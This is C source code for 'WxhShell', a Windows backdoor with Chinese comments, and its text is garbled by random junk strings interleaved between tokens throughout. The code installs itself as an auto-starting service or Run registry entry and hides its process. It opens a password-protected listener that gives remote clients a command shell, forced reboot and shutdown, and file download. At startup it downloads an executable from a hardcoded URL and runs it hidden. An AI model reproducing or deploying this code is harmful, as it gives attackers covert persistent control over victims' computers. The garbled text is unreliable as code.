eh }t a"&cm'\lL HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +c$:#9$ | if(NULL == hInst ) return 0; _FxeZ4\ @{"?fqo g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); MK(~ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 66-tNy NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `|2g&Vn 14DhJUV"b if (!NtQueryInformationProcess) return 0; 8Si3
aq3 2ck0k,WP hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ab6R ?mUM if(!hProcess) return 0; 2ZEDyQM bXSAZWf if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @'<=EAXe qrf90F) CloseHandle(hProcess); szCB}WY dNf:I,<DCf hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )|/%]@` N if(hProcess==NULL) return 0; -3u ;U,} <eZ*LK? HMODULE hMod; [HI$[:[ char procName[255]; U!(es0rX unsigned long cbNeeded; _2Mpzv U C_$5~8p if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); GvZ[3GT {isL< CloseHandle(hProcess); 2u$rloc$b _F5*\tQ if(strstr(procName,"services")) return 1; // 以服务启动 ( k,?) zdm2`D;~p return 0; // 注册表启动 p zZ+!d } =*R6O, _+.JTk // 主模块 q~^!Ck+#* int StartWxhshell(LPSTR lpCmdLine) [{`2FR:Cd { j^%N:BQ& SOCKET wsl; \ef:H&r BOOL val=TRUE; ^HxIy;EQ<z int port=0; BO WOH struct sockaddr_in door; %/ctt_p0x B77`azwF if(wscfg.ws_autoins) Install();
SsPZva 9F[_xe@ port=atoi(lpCmdLine); [X91nUz# wh)F&@6 R! if(port<=0) port=wscfg.ws_port; 0*_E'0L8e ,OERDWW|6 WSADATA data; |Sm/s;&c6 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]6F\a= J u-_1)' if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; -
AU{Y`j setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); u HW'F(; door.sin_family = AF_INET; '/)qI. door.sin_addr.s_addr = inet_addr("127.0.0.1"); e^'|<0J door.sin_port = htons(port); i\O^s ] )*`h)`\y if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { x[0O*ty-*< closesocket(wsl); RD46@Q` return 1; |#sOa } (k8}9[3G +H28 F_# if(listen(wsl,2) == INVALID_SOCKET) { G{I),Y~IF closesocket(wsl); 5 5m\,UG7 return 1; 6']HmM } )XHn.>]nc Wxhshell(wsl); U
E$Ix WSACleanup(); XMiu}w! lB0`|UEb ( return 0; y/5GY,z%aL Rw|'LaW } v`{N0 R x|O^#X(, // 以NT服务方式启动 #?V rt,n VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Inn{mmz
1 { TDUY& 1[ DWORD status = 0; v+I-*,R DWORD specificError = 0xfffffff; #=VYq4B= b+|3nc! serviceStatus.dwServiceType = SERVICE_WIN32; 2:_6nWl serviceStatus.dwCurrentState = SERVICE_START_PENDING; =#v? }JG serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mBE&>}G< serviceStatus.dwWin32ExitCode = 0; P#,;)HF serviceStatus.dwServiceSpecificExitCode = 0; *yaS^k\ serviceStatus.dwCheckPoint = 0; 0y6M;"&~E serviceStatus.dwWaitHint = 0; &!OEd] dFF=-_O> hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,2^4"gIl if (hServiceStatusHandle==0) return; &w#! c!_c, vwrn status = GetLastError();
?C#E_ if (status!=NO_ERROR) GB35o uE { #c5jCy}n serviceStatus.dwCurrentState = SERVICE_STOPPED; N+h05` serviceStatus.dwCheckPoint = 0; l?=\9y serviceStatus.dwWaitHint = 0; D}q"^"#T serviceStatus.dwWin32ExitCode = status; "4;nnq serviceStatus.dwServiceSpecificExitCode = specificError; 8!rdqI SetServiceStatus(hServiceStatusHandle, &serviceStatus); ICvV}%d return; pF4Z4?W } =E5bM_P<K __2<v?\ serviceStatus.dwCurrentState = SERVICE_RUNNING; ==& y9e serviceStatus.dwCheckPoint = 0; 2ozh!8aL serviceStatus.dwWaitHint = 0; %IX)+
Lp` if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jx]P: ] } W*t]
d BMy3tyO // 处理NT服务事件,比如:启动、停止 @phVfP"M VOID WINAPI NTServiceHandler(DWORD fdwControl) fEX=csZ86 { mL=d EQ switch(fdwControl) ])o{!}QUl\ { %/"n(?$W case SERVICE_CONTROL_STOP: Aeb(b+= serviceStatus.dwWin32ExitCode = 0; ~/]]H;;^u serviceStatus.dwCurrentState = SERVICE_STOPPED; #3QPcoxa serviceStatus.dwCheckPoint = 0; qD4]7"9 serviceStatus.dwWaitHint = 0; S0)JIrrHC { &CQO+Yr$l SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y.\x.Hg } $[A\i<# return; pYx,*kG:HW case SERVICE_CONTROL_PAUSE: D]]wJQU2 serviceStatus.dwCurrentState = SERVICE_PAUSED;
&cSVOsi break; Ic9L@2m case SERVICE_CONTROL_CONTINUE: ,-4NSli serviceStatus.dwCurrentState = SERVICE_RUNNING; F5Z,Jmi^M break; H*'1bLzq case SERVICE_CONTROL_INTERROGATE: iCE!TmDT break; jYFJk&c }; \&5V'; SetServiceStatus(hServiceStatusHandle, &serviceStatus); !Aw^X} C } b,E ?{uG `oJQA$UD // 标准应用程序主函数 m{/(
3 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %bAQ>E2;m { N-\N\uN :<t=??4m // 获取操作系统版本 MLu!8dgI OsIsNt=GetOsVer(); W<r<K=`5P GetModuleFileName(NULL,ExeFile,MAX_PATH); >ESVHPj] #*'Qm
A // 从命令行安装 k*\Bl4g if(strpbrk(lpCmdLine,"iI")) Install(); (4T0U5jgT 5e/YEDP // 下载执行文件 x,!Dd if(wscfg.ws_downexe) { 1)56ec<c if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) sD:o
2(G* WinExec(wscfg.ws_filenam,SW_HIDE); @ph!3<(In, } kh5a >OX #$I@V4O;# if(!OsIsNt) {
u]P| // 如果时win9x,隐藏进程并且设置为注册表启动 Uj):}xgi' HideProc(); l1)~WqhE} StartWxhshell(lpCmdLine); X0VSa{ } >u?.gJm ~ else V4n~Z+k if(StartFromService()) .eR1\IAm // 以服务方式启动 r3l1I} StartServiceCtrlDispatcher(DispatchTable); K*SgEkb'l else ) *~A|[ // 普通方式启动 1f`De`zXzr StartWxhshell(lpCmdLine); 2'DCB{Jv BDB*>y7( return 0; ;=Ma+d# } C\EIaLN< 7$'AH:K 68Fl/
%S`&R5 =========================================== 0%ul6LvM <RY =y?%z ;
oyV8P$ eDJnzh83 h2ROQKL"B b=,BLe\ " C/e.BXA gV2vwe #include <stdio.h> J~m$7T3Af #include <string.h> b/M/)o!C #include <windows.h> /4G1,T_, #include <winsock2.h> Ti%MOYNCv #include <winsvc.h> D&G6^ME #include <urlmon.h> E^1yU }QFL #pragma comment (lib, "Ws2_32.lib") [';o -c"! #pragma comment (lib, "urlmon.lib") srVWN:uuH sbW+vc #define MAX_USER 100 // 最大客户端连接数 !8H0.u
rw #define BUF_SOCK 200 // sock buffer 1dQAo1 #define KEY_BUFF 255 // 输入 buffer r&{8/ 5" nTeA=0 4 #define REBOOT 0 // 重启 WH:dcU #define SHUTDOWN 1 // 关机 * Gg7(cnpw Ew/MSl6} #define DEF_PORT 5000 // 监听端口 &C9IR,& EYT^*1,E* #define REG_LEN 16 // 注册表键长度 ;6G]~}>o #define SVC_LEN 80 // NT服务名长度 A{+/$7vek UP-eKK'z // 从dll定义API @t%da^-HS" typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .U!EA0B typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p<mL%3s0 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :Y99L)+=/ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &}"kF\ $*C
}iJsF // wxhshell配置信息 w2s`9 struct WSCFG { WLUgiW(0$ int ws_port; // 监听端口 U%h.l char ws_passstr[REG_LEN]; // 口令 h/Mt<5 int ws_autoins; // 安装标记, 1=yes 0=no TO6F char ws_regname[REG_LEN]; // 注册表键名 =XfvPBA char ws_svcname[REG_LEN]; // 服务名 N[_T3( char ws_svcdisp[SVC_LEN]; // 服务显示名 7{#p'.nc5 char ws_svcdesc[SVC_LEN]; // 服务描述信息 $--8%gh dG char ws_passmsg[SVC_LEN]; // 密码输入提示信息 q8{Bx03m6 int ws_downexe; // 下载执行标记, 1=yes 0=no j1_>>xB char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,}t%7I char ws_filenam[SVC_LEN]; // 下载后保存的文件名 REh"/d 8W&1"h` }; K*@?BE k79OMf<v // default Wxhshell configuration
3f`Uoh+ struct WSCFG wscfg={DEF_PORT, 56pj(}eq "xuhuanlingzhe", G4|C227EO 1, L4 po1 "Wxhshell", /@`"&@W' "Wxhshell", G8repY "WxhShell Service", 6s@!Yn|? "Wrsky Windows CmdShell Service", v}DNeIh~ "Please Input Your Password: ", vPnS`& 1, MXA?rjd0 "http://www.wrsky.com/wxhshell.exe", y" =?l "Wxhshell.exe" 4@{;z4*` }; zA#pgX[# b 8@}Jv // 消息定义模块 i+`8$uz char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,a5q62)q char *msg_ws_prompt="\n\r? for help\n\r#>"; 4Wl`hF char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; zZ[kU1Fyv char *msg_ws_ext="\n\rExit."; `{#""I^_ char *msg_ws_end="\n\rQuit."; AF:_&gF char *msg_ws_boot="\n\rReboot..."; Te+# char *msg_ws_poff="\n\rShutdown...";
K3zY-yIco char *msg_ws_down="\n\rSave to "; 3~sV- [Q T ;~5 char *msg_ws_err="\n\rErr!"; }R*%q char *msg_ws_ok="\n\rOK!"; l"J#Pvi JAxzXAsAR char ExeFile[MAX_PATH]; g3ukx$Q{> int nUser = 0; C^$E#|E9 N HANDLE handles[MAX_USER]; 3cJ'tRsp< int OsIsNt; #?Ix6 {R y>C
!cYB SERVICE_STATUS serviceStatus; "smU5 s,P SERVICE_STATUS_HANDLE hServiceStatusHandle; L 0Ckw},, pW[TufTa // 函数声明 PS~_a int Install(void); / :$WOQ int Uninstall(void); x1~AY/)v int DownloadFile(char *sURL, SOCKET wsh); IR"C? int Boot(int flag); 7^>~k}H void HideProc(void); gPn0-)< int GetOsVer(void); +=W(c8~P int Wxhshell(SOCKET wsl); BiU>h.4=\( void TalkWithClient(void *cs); _#~D{91
j: int CmdShell(SOCKET sock); H7uh"/A int StartFromService(void); HDhkg-QC int StartWxhshell(LPSTR lpCmdLine); l(1.Ll
` 0@m, VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3X Y"s" VOID WINAPI NTServiceHandler( DWORD fdwControl ); UK6x]tE _E9[4%f // 数据结构和表定义 ;-JF1p 7; SERVICE_TABLE_ENTRY DispatchTable[] = 7b~uU@L` { m2m
;|rr {wscfg.ws_svcname, NTServiceMain}, ,tXI*R {NULL, NULL} -medD G }; `{ Ox=+]M c{kpgN // 自我安装 LTf)`SN %' int Install(void) <mJ8~ { 0=+feB1T char svExeFile[MAX_PATH]; z$QoMq] HKEY key; GN(,` y strcpy(svExeFile,ExeFile); fx>QP?Z 1TEKq#t;y // 如果是win9x系统,修改注册表设为自启动 }se3y if(!OsIsNt) { |7K>` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wKJ|;o4;L RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _ow7E\70 RegCloseKey(key); ByE@4+9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [$} \Gv RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _gH$
,.j/ RegCloseKey(key); Ho#nM_ q return 0; zjH8S } D_(NLC } `)$G}7cRUH } 8i^
./P else { n+
H2cl } n3?
msY(* // 如果是NT以上系统,安装为系统服务 uju'Bs7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); SDbkPx if (schSCManager!=0) P\@kqf~pC { uNEl]Q]<e] SC_HANDLE schService = CreateService mY=sh{ir ( *|q{(KX schSCManager, B3yTN6- wscfg.ws_svcname, GsO(\hR6^ wscfg.ws_svcdisp, |)d%3s\ SERVICE_ALL_ACCESS, pcIS}+L SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }x#e.}hf& SERVICE_AUTO_START, JS03BItt SERVICE_ERROR_NORMAL, XlX t, svExeFile, Pc?"H!Hkn NULL, fJNK@F NULL, leF!Uog NULL, g3Q;]8Y& NULL, y<HNAGj NULL o;DK]o>kH ); W2%@}IDm if (schService!=0) +mft { q`8
5- CloseServiceHandle(schService); x4 4V
9-o CloseServiceHandle(schSCManager); 7z{N} strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0i5S=L`j strcat(svExeFile,wscfg.ws_svcname); $U/lm;{% if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *"OlO}o RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *N: $,xf RegCloseKey(key); :^paI return 0; qHheF%[\5 } 'cu14m_ } oP
T)vN? CloseServiceHandle(schSCManager); ?x 0gI
} : &nF> } 48S
NI yIr0D6L return 1; /]0SF_dZ } l['p^-I M*cF'go // 自我卸载 FbMtor int Uninstall(void) y5KeUMcu { LRaO}-<b HKEY key; {2Ew^Li <5Ll<0 if(!OsIsNt) { s1sn,? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XgXXBKf$ RegDeleteValue(key,wscfg.ws_regname); }(DH_0 RegCloseKey(key); 1=T;6 8B if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @*|UyK. RegDeleteValue(key,wscfg.ws_regname); ]a.^F RegCloseKey(key); ;"#y HP` return 0; KT 6ppo } #=0 BjW* } Y~!A"$ } ? [5>! else { $!$If(
7 o7Z8O,; SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2yFT` 5+H4 if (schSCManager!=0) _E8Cvaob { =z"8#_3A SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4i&Rd1#0dI if (schService!=0) F?jD5M08t/ { _cC!rq U1 if(DeleteService(schService)!=0) { ~z]VDEJ{q CloseServiceHandle(schService); `'5vkO> CloseServiceHandle(schSCManager); Z5F#r>> ` return 0; y<m[9FC} } ]t&^o** CloseServiceHandle(schService); 3 G<4rH] }
@PLJ)RL CloseServiceHandle(schSCManager); 'Q7^bF^ } 8sBT&A6&j } vf#d \et2aX ! return 1; /:{4,aX2 } RL\?i~'KH `:EhYj. // 从指定url下载文件 G,B4=[Y int DownloadFile(char *sURL, SOCKET wsh) sSwY!"; { dHg[r|xC HRESULT hr; 5D<ZtsXE char seps[]= "/"; 5}w char *token; -I6t ^$HA char *file; Og@{6> char myURL[MAX_PATH]; OAiv3"p char myFILE[MAX_PATH]; JKrS;J^97v <I2ENo5? strcpy(myURL,sURL); &%@O V:C token=strtok(myURL,seps); \X!NoF while(token!=NULL) 7TI6EKr { 7{w}0PMx file=token; %\|{_]h}y token=strtok(NULL,seps); QY<5o;m` } [dz3k@ >0 Rrl GetCurrentDirectory(MAX_PATH,myFILE); dS <*DP strcat(myFILE, "\\"); d+5~^\lV strcat(myFILE, file); 8HZ+r/j send(wsh,myFILE,strlen(myFILE),0); x H=15JY1W send(wsh,"...",3,0); +?Cy8Ev? hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); YAeF*vP if(hr==S_OK) _/%,cYVc8! return 0; .oLV\'HAR else W[j,QU return 1; i'>5vU0?3 )cP)HbOd= } [eOv fD v4'kV:;& // 系统电源模块 ,d* hhe
int Boot(int flag) 1iLU{m9 { [.Kp/,JY HANDLE hToken; 1kvs2 TOKEN_PRIVILEGES tkp; |</) 6r (C).Vj~ if(OsIsNt) { W\w#}kY OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4*E5@{D LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); pWv1XTs@t: tkp.PrivilegeCount = 1; q TN)2G
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [Y@>,B!V AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); H|wP8uQC if(flag==REBOOT) { ]{\M,txo8 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "8cI]~V return 0; &|RTLGwX } YOrq)_ l else { 7:b.c if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Sl ^PELU return 0; ZE_ } NW 2`)e' } ^eO/?D8~h else { ^[Ka+E^Q if(flag==REBOOT) { O&|<2Qr if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) NV9JMB{q return 0; K5XW&|tY! } woPj>M else { ]PoWL;E' if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) B{:a,V7 return 0; >{:hadUH } dY~z6bT } 6j6;lNUc fxr#T'i return 1; {N/%%O.b } a\}MJ5]
xz5A[)N // win9x进程隐藏模块 c>^(=52Q void HideProc(void) 3T
gX]J@ { 2ag8?# vxI9|i HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); PcU~1m1 if ( hKernel != NULL ) 0('ec60u { Q3&q%n|< pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !8cV."~ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kC
6*An_f FreeLibrary(hKernel); ^V96lKt/ } j4!O,.!T {)!>e return; 1,bE[_ } ,#&7+e!]>P N8#j|yf // 获取操作系统版本 51#OlvD int GetOsVer(void) pb)8?1O|s { (?JdiY/ OSVERSIONINFO winfo; Z
f\~Cl winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); fC*cqc~{@ GetVersionEx(&winfo); S**eI<QFSk if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @v#P u_ return 1; b7Z o~Z else :Ez,GA k return 0; "z3rH~q72 } NId.TaXh 5ct&fjmR_ // 客户端句柄模块 )rG4Nga5} int Wxhshell(SOCKET wsl) V8TdtGB.|h { Tsa]SN14 SOCKET wsh; Xw!\,"{s struct sockaddr_in client; %%uE^nX> DWORD myID; Jut&J]{h u YT$$'S while(nUser<MAX_USER) ` K{k0_{ { }shxEsq int nSize=sizeof(client); /kkUEo+ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /YF:WKr2 if(wsh==INVALID_SOCKET) return 1; c:9n8skE7 Dpw*m.f handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'EAskA]* if(handles[nUser]==0) Kmx^\vDs closesocket(wsh); g;8 wP5i else _J W|3q nUser++; er)I ".| } B<m0YD?>~> WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0zq'Nf?#3 #m{*]mY@ return 0; <TRhn z } 3+>n!8x ;A d>8"-$ // 关闭 socket '"\M`G void CloseIt(SOCKET wsh) 4<F
z![> { %(lO>4>| closesocket(wsh); 4.jRTL5-oj nUser--; /]xa}{^B ExitThread(0); V1V0T , } {a:05Y <dH@e // 客户端请求句柄 Q,xL8i
M, void TalkWithClient(void *cs) o"
,8 { d)YlD]I x
I.W-js[ SOCKET wsh=(SOCKET)cs; 71c[`h*0{ char pwd[SVC_LEN]; .=#jdc/ char cmd[KEY_BUFF]; CG=c@-"n/ char chr[1]; &9#m]Mz int i,j; 6-
i.*!I 8 _f^KP@^j while (nUser < MAX_USER) { +)j ll#}? _q27
3QG/" if(wscfg.ws_passstr) { 1w^wa_qx if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fj5g\m //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qM(}|fMbN //ZeroMemory(pwd,KEY_BUFF); k*hl"oL"X i=0; PFh ^Z L while(i<SVC_LEN) { /^BC
Qaj =79R;|5 // 设置超时 P6 OnE18n fd_set FdRead; JF 4A struct timeval TimeOut; : OY~Q3
@ FD_ZERO(&FdRead); A>yU0\A FD_SET(wsh,&FdRead); \@:,A] TimeOut.tv_sec=8; \% =\4%: TimeOut.tv_usec=0; :-k|jt int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); p%"dYH%]&0 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); x.?5-3|d$ r<e%;S if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5XZ!yYB? pwd=chr[0]; oY18a*_>M1 if(chr[0]==0xd || chr[0]==0xa) { }p7iv:P=3 pwd=0; Mn.,?IF`K break; (hzN(Dh } EMW6' i++;
KeQcL4< } neDXzMxF G:=hg6' // 如果是非法用户,关闭 socket ZYwcB]xEz if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); WD[eoi } 7w/IHM L #dA$k+3 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )?*YrWO{ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I9*cEZ!l=e n~* ".ZC'Y while(1) { -1g:3'%
P 8-#%l~dr ZeroMemory(cmd,KEY_BUFF); +J X;T(T g\JJkXjD# // 自动支持客户端 telnet标准 @LKQ-<dZG j=0; (CmK>"C+ while(j<KEY_BUFF) { \n)',4mY if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Zh<;r;2 cmd[j]=chr[0]; )|F|\6:ne if(chr[0]==0xa || chr[0]==0xd) { iEr,ly cmd[j]=0; `
R6`"hx$ break; \2i7\U } I0)`tQ+ j++; w
)R5P[b } >1~
/:DJ _/s"VYFZ // 下载文件 i6`"e[aT[o if(strstr(cmd,"http://")) { /8cRPB. send(wsh,msg_ws_down,strlen(msg_ws_down),0); |7s2xRc if(DownloadFile(cmd,wsh)) x<NPp&GE send(wsh,msg_ws_err,strlen(msg_ws_err),0); BX@Iq else Tu#< {'1$ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W(s4R,j } du3f'=q6| else { |cPHl+$nh. o\IMYT switch(cmd[0]) { k9^Hmhjw 0s#72}n // 帮助 ^OR0Vp>L case '?': { N@q}eGe send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }SN( ^3N break; "s*-dZO } J!6FlcsZm // 安装 7 F^d- case 'i': { 3$$E0`7. if(Install()) )+E[M!34 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1j<(?MT- else z ^gJy,T send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1 DWoL}Z break; La26"C"X } P3$eomX' // 卸载 'y8{,R4C case 'r': { kI{DxuTad if(Uninstall()) 4q$~3C[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); a&y^Ps6= else c7Z4u|G send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C6_(j48& break; ?Ec9rM\ze } ;?-AFd\i // 显示 wxhshell 所在路径 o`?rj!\ case 'p': { Y::0v@&( char svExeFile[MAX_PATH]; lfGyK4: strcpy(svExeFile,"\n\r"); ]n22+]D strcat(svExeFile,ExeFile); _"DS?`z6 send(wsh,svExeFile,strlen(svExeFile),0); %`vzQt`> break; w2)Ro:G } <AHpk5Sn{ // 重启 uy'ghF case 'b': { W?
iA P send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5gszAvOO if(Boot(REBOOT)) H"Pb)t send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]rmBM else { `&$8/_` closesocket(wsh); S:\i
M: ExitThread(0); ;SR ESW } FqKJids- break; fCl}eXg6w } ]Z JoC!u // 关机 XC4Z ,,ah" case 'd': { &J[a.:.. send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8s%/5v" if(Boot(SHUTDOWN)) E-MPFL send(wsh,msg_ws_err,strlen(msg_ws_err),0); +jN}d=N- else { DT1gy:?L closesocket(wsh); x%P|T3Qy5 ExitThread(0); p|4qkJK8 } 97}]@xN= break; ) "#' } [\uR3$j# // 获取shell !,J#
r case 's': { 73WSW/^F CmdShell(wsh); o9?@jjqH closesocket(wsh); +>w]T\[1~ ExitThread(0); ]6&NIz`:, break; W+nu=iQ! } r );R/)& // 退出 e5=d
Ev case 'x': { 9N]Xa send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wN2+3LY{ CloseIt(wsh); (z?HyxRT break;
gwZ<$6 } &4'< |